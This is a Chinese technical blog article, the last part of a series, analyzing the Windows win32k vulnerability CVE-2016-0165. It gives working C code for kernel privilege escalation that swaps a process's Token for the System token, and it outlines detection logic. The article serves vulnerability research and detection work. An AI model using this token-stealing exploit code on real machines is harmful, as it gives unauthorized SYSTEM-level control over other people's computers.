本文将对 MS16-039 (CVE-2016-0165) 漏洞进行一次简单的分析,并尝试构造其漏洞利用和内核提权验证代码,以及实现对应利用样本的检测逻辑。分析环境为 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。

本文分为三篇:

从 CVE-2016-0165 说起:分析、利用和检测(上)

从 CVE-2016-0165 说起:分析、利用和检测(中)

从 CVE-2016-0165 说起:分析、利用和检测(下)

0x6 提权

前面的章节实现了由用户进程控制的任意内存地址读写的能力,接下来将通过该能力实现内核提权。提权,意味着进程特权级的提升,提权之后当前进程拥有的权限将高于提权之前,将可执行在原本特权级别下所无法执行的很多操作,并能够访问原本由于 ACL 或完整性校验机制限制所不能访问的特定文件、注册表或进程等对象。


Token

在 Windows 系统中的内核提权通常方法是将目标进程的 Token 结构数据或指针替换成 System 进程等系统进程的 Token 结构数据或指针。这样一来进程将以系统进程的身份执行任何行为,所有需要校验令牌的操作都将可以畅通无阻地进行。

第一步首先需要定位到 NT 执行体模块的内存地址。操作系统为我们提供了枚举内核模块的 EnumDeviceDrivers 函数。该函数用于获取系统中的所有设备驱动程序的加载地址。NT 执行体模块作为第一内核模块,其地址会出现在地址数组的第一个元素中。

DWORD_PTR
xxGetNtoskrnlAddress(VOID)
{
    DWORD_PTR AddrList[500] = { 0 };
    DWORD cbNeeded = 0;
    EnumDeviceDrivers((LPVOID *)&AddrList, sizeof(AddrList), &cbNeeded);
    return AddrList[0];
}

清单 6-1 获取内核执行体模块地址的验证代码片段

在 NT 执行体模块中存在 PsInitialSystemProcess 导出变量,在系统启动时 PspInitPhase0 函数执行期间该导出变量被赋值为 System 进程的 EPROCESS 地址。那么接下来只要获得 PsInitialSystemProcess 变量在 NT 执行体模块中的偏移,就可以计算出其在当前系统环境中的绝对线性地址。

DWORD_PTR
xxGetSysPROCESS(VOID)
{
    DWORD_PTR Module = 0x00;
    DWORD_PTR NtAddr = 0x00;
    Module = (DWORD_PTR)LoadLibraryA("ntkrnlpa.exe");
    NtAddr = (DWORD_PTR)GetProcAddress((HMODULE)Module, "PsInitialSystemProcess");
    FreeLibrary((HMODULE)Module);
    NtAddr = NtAddr - Module;
    Module = xxGetNtoskrnlAddress();
    if (Module == 0x00)
    {
        return 0x00;
    }
    NtAddr = NtAddr + Module;
    if (!xxPointToGet(NtAddr, &NtAddr, sizeof(DWORD_PTR)))
    {
        return 0x00;
    }
    return NtAddr;
}

清单 6-2 获取 System 进程 EPROCESS 对象基地址的验证代码

在当前 32 位的 Windows 7 操作系统环境下,由于是单核 CPU 并且支持 PAE 机制,所以系统加载的 NT 执行体是 ntkrnlpa.exe 模块。获得 PsInitialSystemProcess 变量的地址后,通过前面实现的任意内核地址读取功能获取该地址存储的数值,成功后就得到了 System 进程的进程体 EPROCESS 的基地址。

cve-2016-0165-6-1.png
图 6-1 进程 EPROCESS 对象组成双向环形链表

众所周知的是,在 Windows 操作系统中,所有的进程体 EPROCESS 对象以各自的 LIST_ENTRY ActiveProcessLinks 成员域首尾相接,成员域 ActiveProcessLinks.Flink 指向下一个进程 EPROCESS 对象的 ActiveProcessLinks 成员域首地址,ActiveProcessLinks.Blink 指向上一个进程 EPROCESS 对象的 ActiveProcessLinks 成员域首地址。像这样地,所有的进程组成一个庞大的环形双向链表。获得了 System 进程的 EPROCESS 对象基地址,就可以“顺藤摸瓜”找到当前进程的 EPROCESS 基地址。

kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x098 ProcessLock      : _EX_PUSH_LOCK
   +0x0a0 CreateTime       : _LARGE_INTEGER
   ...
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   ...
   +0x0f8 Token            : _EX_FAST_REF
   ...
   +0x16c ImageFileName    : [15] UChar
   ...
   +0x2a8 TimerResolutionLink : _LIST_ENTRY
   +0x2b0 RequestedTimerResolution : Uint4B
   +0x2b4 ActiveThreadsHighWatermark : Uint4B
   +0x2b8 SmallestTimerResolution : Uint4B
   +0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD

清单 6-3 在 WinDBG 中显示的 EPROCESS 结构

根据获取的各个成员域的偏移,通过 ActiveProcessLinks 成员的值获取下一个进程 EPROCESS 对象的 ActiveProcessLinks 成员域首地址就可以计算出 EPROCESS 的基地址。判断当前遍历到的 EPROCESS 对象 UniqueProcessId 成员域的值是否和当前进程的进程 ID 相等,如果相等就定位到了当前进程的 EPROCESS 节点。

DWORD_PTR
xxGetTarPROCESS(DWORD_PTR SysPROC)
{
    if (SysPROC == 0x00)
    {
        return 0x00;
    }
    DWORD_PTR point = SysPROC;
    DWORD_PTR value = 0x00;
    do
    {
        value = 0x00;
        xxPointToGet(point + off_EPROCESS_UniqueProId, &value, sizeof(DWORD_PTR));
        if (value == 0x00)
        {
            break;
        }
        if (value == GetCurrentProcessId())
        {
            return point;
        }
        value = 0x00;
        xxPointToGet(point + off_EPROCESS_ActiveLinks, &value, sizeof(DWORD_PTR));
        if (value == 0x00)
        {
            break;
        }
        point = value - off_EPROCESS_ActiveLinks;
        if (point == SysPROC)
        {
            break;
        }
    } while (TRUE);
    return 0x00;
}

清单 6-4 根据 System 进程获取当前进程 EPROCESS 的验证代码

获取到了 System 进程和当前进程的 EPROCESS 对象的地址,接下来就是对 Token 的替换了。有两种方法可选:一是将当前进程 EPROCESS 中存储的 Token 指针替换为 System 进程的 Token 指针,二是将当前进程 EPROCESS 的成员 Token 指针指向的 Token 块中的数据替换成 System 进程拥有的 Token 块的数据。在本分析中选择前一种方法。

进程 EPROCESS 对象的 Token 成员域是一个 _EX_FAST_REF 类型的成员,定义如下:

kd> dt _EX_FAST_REF
ntdll!_EX_FAST_REF
   +0x000 Object           : Ptr32 Void
   +0x000 RefCnt           : Pos 0, 3 Bits
   +0x000 Value            : Uint4B

数值的低 3 位表示引用计数,去除低 3 位数值后的 32 位完整数值指向实际表示的内存地址。

Token 结构中存储与当前进程相关的安全令牌的数据内容,如用户安全标识符(Sid),特权级(Privileges)等,代表当前进程作为访问者角色访问其他被访问对象时,访问权限和身份校验的依据。当前的 System 进程的 Token 结构块的数据如下:

kd> !token 89a01270
_TOKEN 0xffffffff89a01270
TS Session ID: 0
User: S-1-5-18
User Groups: 
 00 S-1-5-32-544
    Attributes - Default Enabled Owner 
 01 S-1-1-0
    Attributes - Mandatory Default Enabled 
 02 S-1-5-11
    Attributes - Mandatory Default Enabled 
 03 S-1-16-16384
    Attributes - GroupIntegrity GroupIntegrityEnabled 
Primary Group: S-1-5-18
Privs: 
 02 0x000000002 SeCreateTokenPrivilege            Attributes - 
 03 0x000000003 SeAssignPrimaryTokenPrivilege     Attributes - 
 ...
 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - Enabled Default 
 34 0x000000022 SeTimeZonePrivilege               Attributes - Enabled Default 
 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - Enabled Default 
Authentication ID:         (0,3e7)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: *SYSTEM*           TokenFlags: 0x2000 ( Token in use )
Token ID: 3ea              ParentToken ID: 0
Modified ID:               (0, 3eb)
RestrictedSidCount: 0      RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 0

清单 6-5 System 进程的 Token 结构块的数据

在这里由于在提权完成后会将 Token 值替换回去,所以暂不关注 Token 指针的引用计数的增减。

BOOL
xxModifyTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC)
{
    if (dstPROC == 0x00 || srcPROC == 0x00)
    {
        return FALSE;
    }
    // get target process original token pointer
    xxPointToGet(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR));
    if (dstToken == 0x00)
    {
        return FALSE;
    }
    // get system process token pointer
    xxPointToGet(srcPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));
    if (srcToken == 0x00)
    {
        return FALSE;
    }
    // modify target process token pointer to system
    xxPointToHit(dstPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));
    // just test if the modification is successful
    DWORD_PTR tmpToken = 0x00;
    xxPointToGet(dstPROC + off_EPROCESS_Token, &tmpToken, sizeof(DWORD_PTR));
    if (tmpToken != srcToken)
    {
        return FALSE;
    }
    return TRUE;
}

清单 6-6 将目标进程 Token 指针替换为源进程 Token 指针的验证代码

提权成功后创建新的命令提示符进程作为后续行为执行进程,将 Token 替换回原来的值以保证释放进程 Token 时不会发生异常,当前进程的任务就完成了。接下来进行后续的善后操作,随后进程正常退出。

在新启动的命令提示符进程中使用 whoami 命令测试进程权属,可以观测到新启动的进程已属于 System 用户特权执行:

cve-2016-0165-6-2.png
图 6-2 启动的命令提示符进程已属于 System 用户特权

0x7 检测

根据该漏洞的利用机理,可实现代码对利用该漏洞的样本文件进行检测。该漏洞利用的检测逻辑相对比较简单,编写内核驱动程序并对在漏洞触发关键位置插入陷阱帧,将相关寄存器的值以参数的形式传入陷阱帧处理函数中,并在处理函数中判断寄存器的值是否满足漏洞触发条件。

本分析中使用的环境是 32 位 Windows 7 SP1 基础环境,其 win32k 模块的版本为 6.1.7601.17514。分配缓冲区内存之前的漏洞关键位置的汇编指令:

.text:00073FEA    lea     eax, [ecx+1]
.text:00073FED    imul    eax, 28h
.text:00073FF0    test    eax, eax
.text:00073FF2    jz      short loc_7400A
.text:00073FF4    push    6E677247h       ; Tag
.text:00073FF9    push    eax             ; NumberOfBytes
.text:00073FFA    push    21h             ; PoolType
.text:00073FFC    call    ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)

清单 7-1 漏洞关键位置的汇编指令

检测逻辑以如下的伪代码做简单说明:

  ULONG tmp = ecx;
  tmp++;
  if (tmp < ecx)
  {
    // hit vuln exploit
  }
  if ((ULONG)(tmp * 0x28) < tmp)
  {
    // hit vuln exploit
  }

清单 7-2 检测逻辑的伪代码

命中条件之后对命中的上下文相关数据依照个人意愿进行记录或传输。命中记录的示例:

cve-2016-0165-7-1.png
图 7-1 漏洞命中的检测记录示例

0x8 总结

CVE-2016-0165 是一个典型的整数上溢漏洞,由于在 win32k!RGNMEMOBJ::vCreate 函数中分配内核池内存块前没有对计算的内存块大小参数进行溢出校验,导致函数有分配到远小于所期望大小的内存块的可能性。而函数本身并未对分配的内存块大小进行必要的校验,在后续通过该内存块作为缓冲区存储数据时,将会触发缓冲区溢出访问的 OOB 问题,严重情况将导致系统 BSOD 的发生。

本分析中利用该特性,通过内核内存布局的设计以及内核对象的构造,使 win32k!RGNMEMOBJ::vCreate 函数分配的固定大小的内存块被安置在某一内存页的末尾位置,其下一内存页由我们之前分配的垫片对象和位图对象填充。在 win32k!RGNMEMOBJ::vCreate 函数接下来调用 vConstructGET 函数期间,溢出访问发生在可控的内存区域和范围,下一内存页中我们所分配的垫片和位图对象将被溢出覆盖,其中的数据被破坏。根据精心布局的内存结构,位图对象的 sizlBitmap.cy 成员正好被覆盖成了 0xFFFFFFFF 数值,这将使该位图对象拥有完整内存空间访问的能力。

然而由于该位图对象的 pvScan0 成员值未被覆盖,所以该对象读写内存数据时,只能从自身所关联的位图数据区域首地址作为访问的起始地址。而由于提前精心布局的内存结构,该位图对象下一内存页中对应的位置仍旧存储由我们分配的位图对象,通过当前位图对象作为管理对象,以整内存页读写的方式,对其下一内存页中的位图对象的 pvScan0 成员的值进行修改,使其指向我们想要读写访问的内存地址,将下一位图对象作为扩展对象,然后操作扩展对象对指定的内存区域进行读写访问,以指哪、打哪两步走操作的方式,实现任意内核内存地址读写的能力。

利用实现的任意内核内存地址读写的能力,通过定位 System 进程的 EPROCESS 对象地址和当前进程的 EPROCESS 对象地址,以 Token 指针替换的方式实现内核提权的目的。

0x9 链接

[0] 本分析的 POC 下载

https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2016-0165/x86.cpp

[1] GDI Data Types

https://docs.microsoft.com/zh-cn/windows-hardware/drivers/display/gdi-data-types

[2] Windows GDI

https://msdn.microsoft.com/en-us/library/windows/desktop/dd145203(v=vs.85).aspx

[3] GDI Objects

https://msdn.microsoft.com/en-us/library/windows/desktop/ms724291(v=vs.85).aspx

[4] MS16-039 - "Windows 10" 64 bits Integer Overflow exploitation by using GDI objects

https://www.coresecurity.com/blog/ms16-039-windows-10-64-bits-integer-overflow-exploitation-by-using-gdi-objects

[5] Abusing GDI for ring0 exploit primitives

https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives

[6] The Big Trick Behind Exploit MS12-034

https://www.coresecurity.com/blog/the-big-trick-behind-exploit-ms12-034

[7] windows_kernel_address_leaks

https://github.com/sam-b/windows_kernel_address_leaks

[8] Pool Feng-Shui –> Pool Overflow

https://rootkits.xyz/blog/2017/11/kernel-pool-overflow/

[9] Kernel Pool Exploitation on Windows 7

https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf

[10] SURFOBJ structure

https://msdn.microsoft.com/en-us/library/windows/hardware/ff569901(v=vs.85).aspx

[11] THE BMP FILE FORMAT

http://www.ece.ualberta.ca/~elliott/ee552/studentAppNotes/2003_w/misc/bmp_file_format/bmp_file_format.htm

[12] Microsoft 安全公告 MS16-039 - 严重

https://technet.microsoft.com/library/security/ms16-039

文章来源: https://xiaodaozhi.com/exploit/56.html